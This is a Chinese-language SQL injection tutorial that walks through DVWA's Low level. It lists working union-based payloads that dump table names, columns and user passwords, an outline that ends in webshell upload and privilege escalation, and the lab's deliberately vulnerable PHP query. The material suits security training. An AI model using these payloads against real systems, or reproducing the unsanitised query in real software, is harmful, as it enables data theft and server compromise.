SQL注入常規思路:
1、尋找注入點,可以通過 web 掃描工具實現
2、通過注入點,嘗試獲得關於連接數據庫用戶名、數據庫名稱、連接數據庫用戶權限、操作系統信息、數據庫版本等相關信息。
3、猜解關鍵數據庫表及其重要字段與內容(常見如存放管理員賬戶的表名、字段名等信息)
4、可以通過獲得的用戶信息,尋找後臺登錄。
5、利用後臺或瞭解的進一步信息,上傳 webshell 或向數據庫寫入一句話木馬,以進一步提權,直到拿到服務器權限。
手工注入常規思路:
1.判斷是否存在注入,注入是字符型還是數字型
2.猜解 SQL 查詢語句中的字段數
3.確定顯示的字段順序
4.獲取當前數據庫
5.獲取數據庫中的表
6.獲取表中的字段名
7.查詢到賬戶的數據
目錄
6)獲取數據庫中的表(information_schema.tables)
級別 :Low
1)輸入1,觀察返回值
2)輸入',報錯,猜測是字符注入
3)猜測字段數(order by),得到查詢結果字段數爲2
1' order by 1 # 查詢成功
1' order by 2 # 查詢成功
1' order by 4 # 查詢失敗
1' order by 3 # 查詢失敗
4)確定查詢結果顯示位置(SQL語句查詢之後的回顯位置)
1' union select 1,2 #
5)獲取當前數據庫及版本信息
1' union select version(),database() #
6)獲取數據庫中的表(information_schema.tables)
1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
7)獲取表字段
1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
8)獲取用戶密碼等信息(可用group_concat)
1' and 1=2 union select user_id,password from users #
9)密文解碼
後臺源碼
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>